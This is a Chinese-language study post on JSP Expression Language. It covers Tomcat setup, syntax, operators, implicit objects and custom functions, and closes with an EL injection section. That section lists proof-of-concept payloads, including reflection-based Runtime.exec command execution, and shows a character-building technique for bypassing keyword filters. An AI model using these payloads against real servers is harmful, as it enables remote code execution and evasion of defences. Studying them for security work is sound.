介绍

EL 全名为Expression Language,是为了使JSP写起来更加简单。表达式语言的灵感来自于 ECMAScript 和 XPath 表达式语言,它提供了在 JSP 中简化表达式的方法,让Jsp的代码更加简化。

EL主要作用:

  • 获取数据
    EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的web域 中检索java对象、获取数据。(某个web域 中的对象,访问javabean的属性、访问list集合、访问map集合、访问数组)
  • 执行运算
    利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算。${user==null}
  • 获取web开发常用对象
    EL 表达式定义了一些隐式对象,利用这些隐式对象,web开发人员可以很轻松获得对web常用对象的引用,从而获得这些对象中的数据。
  • 调用Java方法
    EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法。

快速搭建tomcat环境

因为需要使用到JSP来学习EL表达式,所以想法是快速搭一个tomcat环境,之前采用的是添加tomcat依赖到pom.xml的方法,使用内置tomcat,但是感觉搭建环境速度太慢了,所以学了个新的方法来快速搭建tomcat环境

参考:https://blog.51cto.com/u_15119353/3309943

前期准备

  • tomcat可用版
  • IDEA

tomcat各版本下载地址:https://archive.apache.org/dist/tomcat/tomcat-8/

环境搭建

先建一个平平无奇的Java项目

EL表达式 - 图1

然后右键,选择Add Framework Support...

EL表达式 - 图2

勾选Web Application

EL表达式 - 图3

这个时候就会多一个web目录,也就是我们的webapps目录

EL表达式 - 图4

打开Project Structure窗口,新建2个文件夹在WEB-INF目录下,分别是classeslib,这一步是为了添加项目类路径

EL表达式 - 图5

修改编译后的类路径到我们刚才新建的classes目录下

EL表达式 - 图6

添加本地tomcat服务器

EL表达式 - 图7

配置好需要的信息,然后Fix修复一下

EL表达式 - 图8

给应用上下文路径设置为跟路径,如果这里设置为/a 则访问就变成 localhost:8080/a/

EL表达式 - 图9

然后启动运行即可

EL表达式 - 图10

项目结构

EL表达式 - 图11

EL表达式使用

EL基础语法

在JSP中访问模型对象是通过EL表达式的语法来表达。所有EL表达式的格式都是以${}表示。

例如,${userinfo}代表获取变量userinfo的值。当EL表达式中的变量不给定范围时,则默认在page范围查找,然后依次在request、session、application范围查找。也可以用范围作为前缀表示属于哪个范围的变量,例如:${pageScope.userinfo}表示访问page范围中的userinfo变量。


简单地说,使用EL表达式语法:${EL表达式}

其中,EL表达式和JSP代码等价转换。事实上,可以将EL表达式理解为一种简化的JSP代码。

扩展JSP代码的写法总结:

  • JSP表达式:<%=变量或表达式>
    向浏览器输出变量或表达式的计算结果。
  • JSP脚本:<%Java代码%>
    执行java代码的原理:翻译到_jspService()方法中。
  • JSP声明:<%!变量或方法%>
    声明jsp的成员变量或成员方法。
  • JSP注释:<%!--JSP注释--%>
    用于注释JSP代码,不会翻译到Java文件中,也不会执行。

[ ]与.运算符

EL表达式提供.[]两种运算符来存取数据。

当要存取的属性名称中包含一些特殊字符,如.-等并非字母或数字的符号,就一定要使用[]。例如:${user.My-Name}应当改为${user["My-Name"]}

如果要动态取值时,就可以用[]来做,而.无法做到动态取值。例如:${sessionScope.user[data]}中data 是一个变量。

获取变量举例

  1. <%@ page import="java.util.HashMap" %>
  2. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  3. <%
  4. request.setAttribute("name","张三");
  5. request.setAttribute("request", "request_name");
  6. session.setAttribute("session", "session_name");
  7. pageContext.setAttribute("page", "page_name");
  8. application.setAttribute("application", "application_name");
  9. HashMap<String, String> map = new HashMap<>();
  10. map.put("my-name", "admin");
  11. request.setAttribute("test", map);
  12. %>
  13. 从四个作用域中搜索变量:${name}</br>
  14. <%--获取作用域--%>
  15. 从requestScope作用域中获取变量:${requestScope.request}</br>
  16. 从sessionScope作用域中获取变量:${sessionScope.session}</br>
  17. 从pageScope作用域中获取变量:${pageScope.page}</br>
  18. 从applicationScope作用域中获取变量:${applicationScope.application}</br>
  19. 从作用域中获取特殊符号变量:${requestScope.test["my-name"]}

操作符

类型 符号
算术型 +、-(二元)、*
、/、div、%、mod、-(一元)
逻辑型 and、&&、or、||、!、not
关系型 ==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较,或与布尔型、字符串型、整型或浮点型文字进行比较。
empty 空操作符是前缀操作,可用于确定值是否为空。
条件型 A ?B :C 。根据 A 赋值的结果来赋值 B 或 C。

运算符优先级如下(从高到低,从左到右):

  • [] .
  • () (用于更改运算符的优先)
  • - (一元) not ! empty
  • * / div % mod
  • + - (二元)
  • +=
  • <> <= >= lt gt le ge
  • == != eq ne
  • && and
  • || or
  • ? :
  • ->
  • =
  • ;

隐含对象

EL表达式语言中定义了11个隐含对象,使用这些隐含对象可以很方便地获取web开发中的一些常见对象,并读取这些对象的数据。
语法:${隐式对象名称}:获得对象的引用

序号 隐含对象名称 描 述
1 pageContext 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)
2 pageScope 代表page域中用于保存属性的Map对象
3 requestScope 代表request域中用于保存属性的Map对象
4 sessionScope 代表session域中用于保存属性的Map对象
5 applicationScope 代表application域中用于保存属性的Map对象
6 param 表示一个保存了所有请求参数的Map对象
7 paramValues 表示一个保存了所有请求参数的Map对象,它对于某个请求参数,返回的是一个string[]
8 header 表示一个保存了所有http请求头字段的Map对象,注意:如果头里面有“-” ,例Accept-Encoding,则要header[“Accept-Encoding”]
9 headerValues 表示一个保存了所有http请求头字段的Map对象,它对于某个请求参数,返回的是一个string[]数组。注意:如果头里面有“-” ,例Accept-Encoding,则要headerValues[“Accept-Encoding”]
10 cookie 表示一个保存了所有cookie的Map对象
11 initParam 表示一个保存了所有web应用初始化参数的map对象

函数

EL表达式语法允许开发人员开发自定义函数,以调用Java类的方法。语法:${prefix:method(params)}

在EL表达式中调用的只能是Java类的静态方法,这个Java类的静态方法需要在TLD文件中描述,才可以被EL表达式调用。

EL自定义函数用于扩展EL表达式的功能,可以让EL表达式完成普通Java程序代码所能完成的功能。


举例: >编写一个让所有字符大写的函数<

一般来说, EL自定义函数开发与应用包括以下三个步骤:

1、编写一个Java类的静态方法

2、编写标签库描述符(tld)文件,在tld文件中描述自定义函数。

3、在JSP页面中导入和使用自定义函数

1、编写一个Java类的静态方法,代码如下

  1. public class ELFunc {
  2. public static String up(String message) {
  3. if (message == null){
  4. return null;
  5. }
  6. return message.toUpperCase();
  7. }
  8. }

2、编写标签库描述符(tld)文件,在tld文件中描述自定义函数。

ELFunc.tld位置

EL表达式 - 图12

代码

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"
  3. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4. xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
  5. <tlib-version>1.0</tlib-version>
  6. <short-name>ELFunc</short-name>
  7. <!--
  8. 自定义EL函数库的引用URI,
  9. 在JSP页面中可以这样引用:<%@taglib uri="/ELFunction" prefix="fn" %>
  10. -->
  11. <uri>/ELFunc</uri>
  12. <function>
  13. <!--<name>子元素用于指定EL自定义函数的名称-->
  14. <name>up</name>
  15. <!--<function-class>子元素用于指定完整的Java类名-->
  16. <function-class>ELFunc</function-class>
  17. <!--<function-signature>子元素用于指定Java类中的静态方法的签名,
  18. 20 方法签名必须指明方法的返回值类型及各个参数的类型,各个参数之间用逗号分隔。-->
  19. <function-signature>java.lang.String up(java.lang.String)</function-signature>
  20. </function>
  21. </taglib>

3、在JSP页面中导入和使用自定义函数

  1. <%--引入EL自定义函数库 --%>
  2. <%@taglib uri="/ELFunc" prefix="fn" %>
  3. ${fn:up("123aaabbbCCC")}

实验了好久代码应该是没问题的,但是还是有报错,后面需要再解决这个问题吧,今天是解决不了了,不然一天没了。。。

禁用/启用EL表达式

全局禁用EL表达式,web.xml中进入如下配置:

  1. <jsp-config>
  2. <jsp-property-group>
  3. <url-pattern>*.jsp</url-pattern>
  4. <el-ignored>true</el-ignored>
  5. </jsp-property-group>
  6. </jsp-config>

单个文件禁用EL表达式 在JSP文件中可以有如下定义:

  1. <%@ page isELIgnored="true" %>

该语句表示是否禁用EL表达式,TRUE表示禁止,FALSE表示不禁止。

JSP2.0中默认的启用EL表达式。

EL表达式注入

原理都是一样的:表达式全部或部份外部可控。列一些通用的poc

  1. //对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
  2. ${pageContext}
  3. //获取Web路径
  4. ${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
  5. //文件头参数
  6. ${header}
  7. //获取webRoot
  8. ${applicationScope}
  9. //执行命令
  10. ${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

EL表达式 - 图13

EL表达式注入绕过

通过 charAttoChars 获取字符,在由 toString 转字符串再用 concat 拼接来绕过一些敏感字符的过滤

  1. ${"xxx".toString().charAt(0).toChars(97)[0].toString()}
  2. ${"xxx".toString().charAt(0).toChars(97)[0].toString().concat("xxx".toString().charAt(0).toChars(98)[0].toString())}

通过以上代码,只需要修改toChars()中的ascii码值就可以变成任意字符

参考